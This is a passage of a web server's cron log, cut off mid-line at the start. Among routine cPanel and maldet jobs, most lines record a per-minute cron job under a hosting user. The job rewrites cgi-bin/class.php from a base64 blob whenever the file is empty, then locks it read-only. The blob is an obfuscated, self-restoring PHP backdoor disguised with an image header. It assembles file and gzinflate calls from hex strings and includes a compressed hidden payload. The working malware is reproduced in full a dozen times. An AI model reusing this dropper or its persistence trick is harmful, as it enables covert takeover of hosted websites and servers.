&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:24:01 server CROND[23761]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:25:01 server CROND[24733]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:25:01 server CROND[24735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 15:25:01 server CROND[24734]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 15:26:02 server CROND[25650]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:27:01 server CROND[26667]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:27:01 server CROND[26668]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 15:28:01 server CROND[27521]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:29:01 server CROND[28370]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:30:01 server CROND[29322]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 15:30:01 server CROND[29324]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 15:30:01 server CROND[29325]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 15:30:01 server CROND[29326]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:31:01 server CROND[30266]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:32:01 server CROND[31112]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:33:01 server CROND[32164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:34:01 server CROND[562]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:35:01 server CROND[1435]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 15:35:01 server CROND[1434]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 15:35:01 server CROND[1437]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 15:35:01 server CROND[1438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 15:35:01 server CROND[1439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
